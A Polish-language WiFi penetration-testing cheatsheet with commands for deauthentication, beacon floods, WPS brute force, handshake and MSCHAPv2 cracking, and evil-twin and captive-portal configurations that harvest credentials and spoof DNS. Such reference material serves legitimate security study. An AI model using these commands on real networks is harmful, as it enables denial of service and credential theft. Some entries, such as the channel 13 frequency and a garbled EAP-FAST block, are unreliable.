

WiFi Hacking

Cheatsheet

Spis treści

Narzędzia systemowe do diagnostyki i konfiguracji sieci	3
Aircrack-ng suite	4
Airgeddon	6
hashcat & utils	7
mdk3/mdk4	7
Hostapd-mana	8
FreeRADIUS	9
Attachments	11
Airodump-ng table.....	11
Channel and frequencies badns in WiFi (for 20MHz width)	12
Wireshark 802.11 filters	13

Wpa_suplicant files	14
Pliki konfiguracyjne hostapd-mana (WPA-Enterprise).....	16
Captive portal attack – konfiguracje dodatkowych narzędzi	18
Notatki	19

Narzędzia systemowe do diagnostyki i konfiguracji sieci

<i>command</i>	<i>example</i>	<i>description</i>
lsusb		Wyświetla listę urządzeń USB podłączonych do systemu
ip	ip a	Wyświetla informacje o wszystkich interfejsach sieciowych
	ip link set <interface> down	Wyłączy określony interfejs sieciowy
	ip link set <interface_name> name <new_interface_name>	Zmienia nazwę interfejsu sieciowego
	ip link set <interface_name> up	Włącza określony interfejs sieciowy
iwconfig		Konfiguracja bezprzewodowych interfejsów sieciowych/wyświetla informacje o bezprzewodowych interfejsach sieciowych
	iwconfig wlan0 mode monitor	Zmiana trybu pracy bezprzewodowego interfejsu sieciowego: managed – umożliwia połączenie się z punktem dostępowym (AP); monitor – umożliwia nasłuchiwanie i przechwytywanie wszystkich ramek przesyłanych przez sieć bezprzewodową; master – działa jako AP; ad-hoc – sieć składająca się z dwóch urządzeń bez AP.
	iwconfig wlan0 channel 3	zmiana <u>kanalu</u> interfejsu wlan0 na kanał 3.
	iwconfig wlan0 freq 2.422g	Zmiana częstotliwości interfejsu wlan0 na 2.422 GHz (kanał 3)
iwlist		Szczegółowe informacje o bezprzewodowych interfejsach sieciowych
	iwlist wlan0 freq	Lista dostępnych częstotliwości w urządzeniu i liczba zdefiniowanych kanałów
iw		Wyświetl/zmień konfigurację bezprzewodowego interfejsu sieciowego
	iw dev wlan0 set channel 6	Zmiana kanału bezprzewodowego interfejsu sieciowego na kanał 6
	iw dev wlan0 set freq 5240	Zmiana częstotliwości interfejsu na 5,24 GHz (kanał 48)

Aircrack-ng suite

Aircrack-ng Suite to zestaw narzędzi do audytu bezpieczeństwa sieci bezprzewodowych. Koncentruje się na kluczowych obszarach takich jak przechwytywanie pakietów, łamanie kluczy WEP i WPA-PSK, monitorowanie sieci oraz wstrzykiwanie pakietów. Pakiet zawiera narzędzia do nasłuchiwania ruchu sieciowego, atakowania podatnych metod szyfrowania i przeprowadzania różnych ataków (deauth-flood, bruteforce).

<i>command</i>	<i>example</i>	<i>description</i>
airmon-ng	Narzędzie do przełączenia bezprzewodowej karty sieciowej w tryb monitor	
	airmon-ng check	Wylistowanie programów, które mogą zakłócać działanie karty bezprzewodowej
	airmon-ng check kill	Zakończenie procesów zakłócających działanie karty bezprzewodowej
	airmon-ng start wlan0	Włączenie trybu monitor na interfejsie bezprzewodowym (wlan0)
	Airmon-ng stop wlan0	Wyłączenie trybu monitor, włączenie trybu managed
airodump-ng	Narzędzie służące do pasywnego monitorowania sieci Wi-Fi. Przechwytuje pakiety, identyfikuje AP, podłączonych klientów, adresy MAC, siłę sygnału, typ szyfrowania (WEP, WPA, WPA2).	
	airodump-ng wlan0	Skanowanie wszystkich pobliskich sieci bezprzewodowych
	airodump-ng -c 6 wlan0	Podstawowe skanowanie sieci na określonym kanale (-c = --channel)
	airodump-ng -w capture wlan0	Zapisywanie przechwyconych pakietów do pliku
	airodump -d aa:bb:cc:dd:ee:ff -c 11 -w capture wlan0	Skanowanie określonej sieci (BSSID = MAC) na danym kanale oraz zapisanie ruchu do plików o nazwie „capture”
aireplay-ng	Narzędzie służące do wstrzykiwania pakietów do sieci Wi-Fi. Obsługuje różne typy ataków takie jak: deauthentication, fałszywe uwierzytelnianie i odtwarzanie żądań ARP, które jest niezbędne do przechwycania 4-way-handshake lub testowaniu bezpieczeństwa	
	aireplay-ng -0 10 -a aa:bb:cc:dd:ff -d 11:22:33:44:55 wlan0	Usuwanie określonego klienta z sieci
		-a – MAC address of AP
		-d – MAC address of client
		-0 – deauthentication frames
		10 – wysył 10 pakietów / 0 – wysył pakiety do momentu zatrzymania procesu przez użytkownika
	aireplay-ng -0 0 -a aa:bb:cc:dd:ff wlan0	Usunięcie wszystkich użytkowników z określonego AP

aircrack-ng	Narzędzie służące do łamania kluczy WEP i WPA/WPA2-PSK poprzez analizę przechwyconych pakietów. Obsługuje ataki słownikowe i metody brute-force w celu uzyskania hasła do sieci Wi-Fi aircrack-ng capture.cap Łamanie klucza WPA/WPA2 przy użyciu słownika -w wordlist.txt -w plik z listą haseł
airdecap-ng	Narzędzie służące do odszyfrowania zaszyfrowanego ruchu 802.11 (WEP/WPA/WPA2) w plikach .pcap. Wymaga handshake'a (dla WPA/WAP2), klucza i hasła airdecap-ng -b Filtrowanie tylko pakietów związanych z AP z BSSID aa:bb:cc:dd:ee:ff w pliku (air.cap), aa:bb:cc:dd:ee:ff usunięcie pakietów z innych sieci bezprzewodowych air.cap Airdecap-ng -b Odszyfrowanie ruchu Wi-Fi zaszyfrowanego przez WPA/WPA2 przechwyconego w aa:bb:cc:dd:ee:ff -e pliku wpa.cap SSID -p password wpa.cap
airgraph-ng	Narzędzie generuje graficzne mapy zależności w sieciach Wi-Fi (SSID, BSSID, klientów) na podstawie zebranych danych przez airodump-ng. Jako dane wyjściowe wykorzystuje plik .csv airgraph-ng -o Generowanie wykresu relacji klient-AP (CAPR) na podstawie przechwyconego pliku example.png -i (traffic.csv) traffic.csv -g CAPR CAPR – Analiza, które połączenia są podłączone do konkretnych AP lub próbują się z nimi połączyć airgraph-ng -o Generowanie wykresu sondy (CPG) z przechwyconych danych (traffic.csv) example.png -i CPG – analizuje, które urządzenia są podłączone do konkretnych AP lub pokazuje traffic.csv -g CPG klientów, którzy wysyłają żądania sondy (np. szukają znanych identyfikatorów SSID), próbujące się z nimi połączyć

Airgeddon

Airgeddon to wielofunkcyjne narzędzie do przeprowadzania testów penetracyjnych Wi-Fi i audytu bezpieczeństwa. Oferuje graficzny interfejs wiersza poleceń do przeprowadzania różnych ataków, takich jak usuwanie klientów, przechwytywanie handshake, ataki Evil Twin, captive portal, brute-force.

<i>command</i>	<i>example</i>	<i>description</i>
airgeddon		Uruchomienie programu airgeddon
<i>Main Menu</i>		
Menu Option		Description
DoS attacks menu		Przeprowadzenie deauth-attack w celu odłączenia klientów od docelowego AP, przydatne do przechwycenia 4-way-handshake
Handshake/PMKID/Decloaking tools menu		Przechwytuje 4-way-handshake WPA poprzez monitorowanie ruchu między klientem, a AP.
Offline WPA/WPA2 decrypt menu		Łamanie hasła WPA/WPA2 przy użyciu przechwyconego 4-way-handshake
Evil Twin attacks menu		Tworzy fałszywy AP
WPS attacks menu		Próba brute-force na kod PIN WPS.
WEP attacks menu		Próba złamania szyfrowania WEP
Enterprise attacks menu		Próba wykorzystania luk w zabezpieczeniach w sieciach WPA2-Enterprise

hashcat & utils

hashcat narzędzie do uzyskiwania haseł. W testach Wi-Fi jest używane do łamania kluczy WPA/WPA2 przy użyciu przechwyconych handshake lub skrótów PMKID (w formacie .hccapx lub .hc22000) za pomocą ataków typu brute-force. Obsługuje również wykorzystanie GPU.

<i>command</i>	<i>example</i>	<i>description</i>
hcxpcapngtool	hcxpcapngtool -o hash.hc22000 handshake.cap	Konwertuje przechwycony handshake (.cap lub .pcapng) do formatu .hc22000, który jest kompatybilny z Hashcat.
hashcat	hashcat -m 22000 hash.hc22000 wordlist.txt	Uruchamia Hashcat w celu złamania hasła WPA/WPA2. Opcja -m 22000 określa tryb WPA/WPA2 do łamania hasła przy użyciu słownika wordlist.txt
	hashcat -m 5500 -a 0 mschapv2.hash wordlist.txt	Uruchamia Hashcat w celu złamania hasła EAP-MSCHAPv2. Przydatny w przechwyceniu hasła w WPA Enterprise. -a 0 oznacza tryb ataku słownikowego

mdk3/mdk4

mdk3 and mdk4 narzędzia do testów penetracyjnych Wi-Fi, służące do wysyłania spreparowanych ramek zarządzających w celu testowania sieci Wi-Fi. Obsługuje tryby takie jak deauthentication, beacon flooding, authentication Do. Mdk3 nie jest już utrzymywany i może być niestabilny na nowszych systemach

<i>command</i>	<i>example</i>	<i>description</i>
mdk3	mdk3 wlan0 b	Beacon flood attack z użyciem otwartych sieci Wi-Fi i losowego identyfikatora SSID
	mdk3 wlan0 b -a	Beacon flood attack z użyciem sieci WPA i losowego identyfikatora SSID
	mdk3 wlan0 b -f	Beacon flood attack z użyciem otwartych sieci Wi-Fi i identyfikatorów SSID z listy
	ssidlist.txt	ssidlist.txt

mdk3 wlan0 a	Tryb authentication DoS. Wysyła ramki uwierzytelniające do wszystkich AP znajdujących się w zasięgu. Zbyt duża liczba klientów może spowodować zawieszenie lub restart niektórych AP.
--------------	---

Hostapd-mana

Hostapd-mana to zmodyfikowana wersja programu hostapd. Stworzony na potrzeby ataków Evil Twin Attack, KARMA – wykorzystywane w testach penetracyjnych Wi-Fi.

Polecenie do uruchomienia hostapd-mana: `hostapd-mana -B <hostapd-mana config file>`

Przykład i opis pliku konfiguracyjnego dla hostapd-mana:

<i>Line</i>	<i>Description</i>
interface=wlan0	Określa interfejs bezprzewodowy, który ma być używany jako fałszywy AP
ssid=network	Ustawienie identyfikatora SSID nadawany przez fake AP – może naśladować prawdziwą sieć
channel=1	Ustawienie kanału, z którego AP będzie korzystać
hw_mode=g	Ustawienie częstotliwości -g oznacza 2.4 GHz, a- dla 5 GHz (jeśli jest obsługiwany)
ieee80211n=1	Włącza obsługę standardu 802.11n w celu zwiększenia kompatybilności urządzeń i poprawy prędkości
wpa=3	Włącza WPA oraz WPA2 (1 = WPA; 2 = WPA2; 3 = WPA/WPA2)
wpa_key_mgmt=WPA-PSK	Ustawia protokół zarządzania kluczami WPA-PSK
wpa_passphrase=anypassword	Ustawia hasło Wi-Fi, którego ofiary mogą próbować użyć, umożliwiając przechwycenie handshake z prawidłowym hasłem do powielanej sieci
wpa_pairwise=TKIP	Określa algorytm szyfrowania dla WPA – TKIP
rsn_pairwise=TKIP CCMP	Definiuje algorytm szyfrowania dla WPA-CCMP (AES) i TKIP
mana_wpaout=/home/kali/network.hccapx	Funkcja hostapd-mana, która zapisuje przechwycone handshake WPA lub PMKID bezpośrednio do pliku .hccapx do użycia w Hashcat

FreeRADIUS

Free and open-source RADIUS (Remote Authentication Dial-In User Service) serwer służący do autoryzacji (AAA) w sieciach komputerowych. W kontekście testów penetracyjnych sieci bezprzewodowych często używany do: symulacji fałszywego AP obsługującego WPA2-Enterprise, przechwytywania prób logowania (nazwy użytkowników i hashowane hasła) do łamania offline, testowania konfiguracji WiFi.

<i>File/command</i>	<i>description</i>
/etc/freeradius/3.0/certs	Zawiera certyfikaty TLS/SSL, klucze prywatne i pliki konfiguracyjne używane przez FreeRADIUS do bezpiecznych metod uwierzytelniania, takich jak EAP-TLS, EAP-PEAP i EAP-TTLS, powszechnie używanych w konfiguracjach WPA-2 Enterprise.
ca.cnf	Plik konfiguracyjny OpenSSL używany przez FreeRADIUS do definiowania sposobu działania CA podczas generowania i podpisywania certyfikatów. Musisz edytować element [certificate_authority], aby przypominał certyfikat celu.
server.cnf	Plik konfiguracyjny OpenSSL, używany przez FreeRADIUS do definiowania sposobu generowania certyfikatu serwera.
rm dh	Polecenie które usuwa pliki z parametrami Diffie-Hellman.
openssl dhparam -out dh 2048	Wygenerowanie pliku z parametrami Diffie-Hellman'a.

Wash

Narzędzie służące do skanowania sieci Wi-Fi w celu wykrycia tych, które mają włączoną funkcję WPS.

<i>command</i>	<i>example</i>	<i>description</i>
wash	wash -i wlan0	Skanuje sieci Wi-Fi za pomocą interfejsu wlan0 w celu sprawdzenia, czy urządzenia mają włączoną funkcję WPS.

Reaver

Narzędzie open-source służące do przeprowadzania ataków brute-force na funkcję WPS (Wi-Fi Protected Setup) w routerach Wi-Fi. Celem przeprowadzenia ataku za pomocą tego narzędzia jest uzyskanie hasła WPA/WPA2 poprzez złamanie pinu WPS. Typ ataku mało efektywny ze względu na to, że wiele obecnych routerów blokuje funkcję WPS po kilku nieudanych próbach.

<i>command</i>	<i>example</i>	<i>description</i>
reaver	reaver -i wlan0 -b <BSSID> -c <kanał> -vv	Przeprowadzenie ataku brute-force WPS PIN na wybrany AP, działający na konkretnym kanale. Opcja -vv wyświetla szczegółowe logi
	reaver -i wlan0 -b <BSSID> -p <PIN> -vv	Testuje konkretny PIN.

Attachments

Airodump-ng table

TOP SECTION

<i>column name</i>	<i>example</i>	<i>description</i>
BSSID	Aa:bb:cc:dd:ee:ff	Adres MAC punktu dostępowego
PWR	-66	Siła sygnału (bliżej 0 = silniejszy)
BEACONS	22	Liczba ramek beacon wysyłanych przez AP
#DATA	0	Liczba przechwyconych pakietów danych (ważne do łamania WEP)
#/S	0	Liczba pakietów przechwyconych na sekundę
CH	1	Kanał, na którym działa AP
MB	270	Maksymalna obsługiwana przepustowość
ENC	WPA2	Typ szyfrowania
CIPHER	CCMP	Szyfrowanie
AUTH	PSK	Metoda uwierzytelniania
ESSID	Example_AP	Nazwa sieci Wi-Fi

BOTTOM SECTION

<i>column name</i>	<i>example</i>	<i>description</i>
BSSID	aa:bb:cc:dd:ee:ff	Adres MAC punktu dostępowego
STATION	gg:hh:ii:jj:kk:ll	Adres MAC klientów
PWR	-67	Siła sygnału urządzenia klienta
RATE	0-1	Szybkość transmisji/odbioru
LOST	4	Liczba utraconych pakietów
FRAMES	3	Całkowita liczba ramek wysyłanych przez klienta
NOTES	EAPOL	Wykrycie ramek handshake EAPOL
PROBES	Example_AP	Identyfikatory SSID sprawdzane przez klienta

Channel and frequencies badns in WiFi (for 20MHz width)

2.4 Ghz band		5 GHz band	
Channel	Frequency	Channel	Frequency
1	2.412 GHz	36	5.18 GHz
2	2.417 GHz	40	5.2 GHz
3	2.422 GHz	44	5.22 GHz
4	2.427 GHz	48	5.24 GHz
5	2.432 GHz	52	5.26 GHz
6	2.437 GHz	56	5.28 GHz
7	2.442 GHz	60	5.3 GHz
8	2.447 GHz	64	5.32 GHz
9	2.452 GHz	100	5.5 GHz
10	2.457 GHz	104	5.52 GHz
11	2.462 GHz	108	5.54 GHz
12	2.467 GHz	112	5.56 GHz
13	4.672 GHz	116	5.58 GHz
		120	5.6 GHz
		124	5.62 GHz
		128	5.64 GHz
		132	5.66 GHz
		136	5.68 GHz
		140	5.7 GHz

Wireshark 802.11 filters

Wireshark Most Common 802.11 Filters v1.1

Filter Addresses	
Addresses used for 802.11 communications	
Up to 4 different MAC addresses can be used in an IEEE 802.11 frame: - The transmitter MAC address or TA - The receiver MAC address or RA - The source MAC address or SA - The destination MAC address or DA	
Filters	
Filter for a specific client by MAC address: Ex: wlan.addr == 00:11:22:33:44:55	wlan.addr == MAC_address
Filter by the transmitter address (TA): Ex: wlan.ta == 00:11:22:33:44:55	wlan.ta == MAC_address
Filter by the receiver address (RA): Ex: wlan.ra == 00:11:22:33:44:55	wlan.ra == MAC_address
Filter by the source address (SA): Ex: wlan.sa == 00:11:22:33:44:55	wlan.sa == MAC_address
Filter by the destination address (DA): Ex: wlan.da == 00:11:22:33:44:55	wlan.da == MAC_address

Filter Wi-Fi Networks	
BSSID vs SSID	
BSSID is the MAC address of the radio transmitting in the AP The BSSID is specific to 1 AP	
SSID is the name of the global Wi-Fi network The SSID can be used by multiple APs in a WLAN infrastructure	
Filters	
Filter by BSSID (by AP): Ex: wlan.bssid == 00:11:22:33:44:55	wlan.bssid == AP_radio_MAC_address
Filter by SSID: Ex: wlan.mgt.ssid == "SemFio"	wlan.mgt.ssid == "your_SSID"

Filter 802.11 Management Frames	
Description	
802.11 Management Frames are used by stations to join and leave a BSS There is a total of 12 802.11 Management Frames:	
- Association request (subtype 0x0) - Association response (subtype 0x1) - Reassociation request (subtype 0x2) - Reassociation response (subtype 0x3) - Probe request (subtype 0x4) - Probe response (subtype 0x5) - Beacon (subtype 0x8) - ATIM (subtype 0x9) - Disassociation (subtype 0xa) - Authentication (subtype 0xb) - Deauthentication (subtype 0xc) - Action (subtype 0xd)	
Filters	
Filter for all management frames:	wlan.fc.type == 0
Filter for Association Requests:	wlan.fc.type_subtype == 0
Filter for Association Responses:	wlan.fc.type_subtype == 1
Filter for Reassociation Requests:	wlan.fc.type_subtype == 2
Filter for Reassociation Responses:	wlan.fc.type_subtype == 3
Filter for Probe Requests:	wlan.fc.type_subtype == 4
Filter for Probe Responses:	wlan.fc.type_subtype == 5
Filter for Beacons:	wlan.fc.type_subtype == 8
Filter for ATIMs:	wlan.fc.type_subtype == 9
Filter for Disassociations:	wlan.fc.type_subtype == 10
Filter for Authentications:	wlan.fc.type_subtype == 11
Filter for Deauthentications:	wlan.fc.type_subtype == 12
Filter for Actions:	wlan.fc.type_subtype == 13

Filter 802.11 Control Frames	
Description	
802.11 Control Frames assist with the delivery of data frames (type = 1) There is a total of 8 802.11 Control Frames:	
- Block ACK request (subtype 0x8) - Block ACK (subtype 0x9) - PS-Poll (subtype 0xa) - Ready To Send (subtype 0xb) - Clear To Send (subtype 0xc) - ACK (subtype 0xd) - CF-End (subtype 0xe) - CF-End/CF-Ack (subtype 0xf)	
Filters	
Filter for all control frames:	wlan.fc.type == 1
Filter for Block ACK Requests:	wlan.fc.type_subtype == 24
Filter for Block ACKs:	wlan.fc.type_subtype == 25
Filter for PS-Polls:	wlan.fc.type_subtype == 26
Filter for Ready To Sends:	wlan.fc.type_subtype == 27
Filter for Clear To Sends:	wlan.fc.type_subtype == 28
Filter for ACKs:	wlan.fc.type_subtype == 29
Filter for CF-Ends:	wlan.fc.type_subtype == 30
Filter for CF-Ends/CF-Acks:	wlan.fc.type_subtype == 31

Filter 802.11 Data Frames	
Description	
802.11 Data Frames are mainly used to carry data (type = 2) There is a total of 15 802.11 Data Frames:	
- Data (subtype 0x0) - Data+CF-Ack (subtype 0x1) - Data+CF-Poll (subtype 0x2) - Data+CF-Ack+CF-Poll (subtype 0x3) - Null (subtype 0x4) - CF-Ack (subtype 0x5) - CF-Poll (subtype 0x6) - CF-Ack+CF-Poll (subtype 0x7) - QoS Data (subtype 0x8) - QoS Data+CF-Ack (subtype 0x9) - QoS Data+CF-Poll (subtype 0xa) - QoS Data+CF-Ack+CF-Poll (0xb) - QoS Null (subtype 0xc) - QoS CF-Poll (subtype 0xe) - QoS CF-Ack+CF-Poll (subt. 0xf)	
Filters	
Filter for all data frames:	wlan.fc.type == 2
Filter for Data:	wlan.fc.type_subtype == 32
Filter for Data+CF-Ack:	wlan.fc.type_subtype == 33
Filter for Data+CF-Poll:	wlan.fc.type_subtype == 34
Filter for Data+CF-Ack+CF-Poll:	wlan.fc.type_subtype == 35
Filter for Null:	wlan.fc.type_subtype == 36
Filter for CF-Ack:	wlan.fc.type_subtype == 37
Filter for CF-Poll:	wlan.fc.type_subtype == 38
Filter for CF-Ack+CF-Poll:	wlan.fc.type_subtype == 39
Filter for QoS Data:	wlan.fc.type_subtype == 40
Filter for QoS Data+CF-Ack:	wlan.fc.type_subtype == 41
Filter for QoS Data+CF-Poll:	wlan.fc.type_subtype == 42
Filter for QoS Data+CF-Ack+CF-Poll:	wlan.fc.type_subtype == 43
Filter for QoS Null:	wlan.fc.type_subtype == 44
Filter for QoS CF-Poll:	wlan.fc.type_subtype == 46
Filter for QoS CF-Ack+CF-Poll:	wlan.fc.type_subtype == 47

RadioTap Header Information	
Description	
RadioTap Headers provide additional information (channel frequency, data rate, signal strength...) to any 802.11 frame when capturing frames.	
Filters	
Filter a specific channel: Ex: radiotap.channel.freq == 5240	radiotap.channel.freq == frequency
Filter a specific data rate: Ex: radiotap.datarate <= 6	radiotap.datarate == rate_in_Mbps
Filter by signal strength (RSSI): Ex: radiotap.dbm_antsignal >= -60	radiotap.dbm_antsignal == rate_in_dBm

Wpa_supplicant files

Personal

WEP

```
network={
    ssid="network_name"
    key_mgmt=NONE
    wep_key0="password"
    wep_tx_keyidx=0
}
```

WPA

```
network={
    ssid="network_name"
    psk="passowrd"
}
```

Polecenia do użycia wpa_supplicant oraz dhclient:

wpa_supplicant -Dnl80211 -iwlan0 -c wpa_supplicant-conf –połączenie się do sieci

wpa_supplicant -i wlan0 -c wpa_supplican.conf –połączenie się do sieci

dhclient wlan0 -v –pobieranie adresu IP oraz innych danych (DNS, Gateway)

Enterprise

EAP-PEAP (with MSCHAPv2)

```
network={
    ssid="network_name"
    key_mgmt=WPA-EAP
    eap=PEAP/TLS
    identity="user_name" or „domain/login“
    passowrd="user_password"
    phase1="peaplabel=0"
    phase2="auth=MSCHAPV2"
}
```

EAP-FAST (Cisco, optional PAC)

```
network={
    ssid="network_name"
    key_mgmt=WPA-EAP
    eap=FASTidentity="user"
    password="password"
    phase1="fast_provisioning=1"
    ca_cert="directory to cert file ca.pem"
}
```

EAP-TTLS

```
network={
    ssid="network_name"
    key_mgmt=WPA-EAP
    eap=TTLS
    identity="user_name"
    password="password"
    phase2="auth=PAP"
    ca_cert="directory to cert file ca.pem"
}
```

Pliki konfiguracyjne hostapd-mana (WPA-Enterprise)

hostapd-mana.conf

```
ssid=nazwa_sieci
interface=wlan0
driver=nl80211
channel=1
hw_mode=g
ieee8021x=1
eap_server=1
eapol_key_index_workaround=0
eap_user_file=/etc/hostapd-mana/hostapd-mana.eap_user
ca_cert=/etc/freeradius/3.0/certs/ca.pem
server_cert=/etc/freeradius/3.0/certs/server.pem
private_key=/etc/freeradius/3.0/certs/server.key
private_key_passwd=whatever
dh_file=/etc/freeradius/3.0/certs/dh
auth_algs=1
wpa=3
wpa_key_mgmt=WPA-EAP
wpa_pairwise=CCMP TKIP
mana_wpe=1
mana_credout=/tmp/hostapd.capture
mana_eapsuccess=1
mana_eaptls=1
```


hostapd-mana.eap_user

* PEAP, TTLS, TLS, FAST
"t" TTLS-PAP, TTLS-CHAP, TTLS-MSCHAP, MSCHAPV2, MD5, GTC, TTLS, TTLS-MSCHAPV2 "haslo" [2]

Opis:

* - domyślna konfiguracja dla każdego klienta

PEAP, TTLS... - wspierane metody EAP

"t" – alias używany do przypisania metody EAP

TTLS-PAP, TTLS-CHAP... - metody uwierzytelniania używane w drugiej fazie uwierzytelniania

"haslo" – logowanie przechwyconych haseł

[2] – odwołanie konfiguracji do fazy 2 uwierzytelniania

Captive portal attack – konfiguracje dodatkowych narzędzi

dnsmasq

interface=wlan0 dhcp-range=192.168.0.10,192.168.0.100,12h dhcp-option=3,192.168.0.1 dhcp-option=6,192.168.0.1 address=/#/192.168.0.1	#dnsmasq będzie działał tylko na interfejsie wlan0 (rogue AP) #Serwer DHCP przydziela adresy IP z puli. Czas dzierżawy 12h. #wskazuje, że bramą domyślną jest... #wskazuje, że serwerem DNS jest ... #wildcard spoofing DNS – każda domena (/#/) zwraca adres IP...
--	---

Dnsmasq -C dnsmasq.conf – uruchomienie dnsmasq ze wskazanym plikiem konfiguracyjnym

Notatki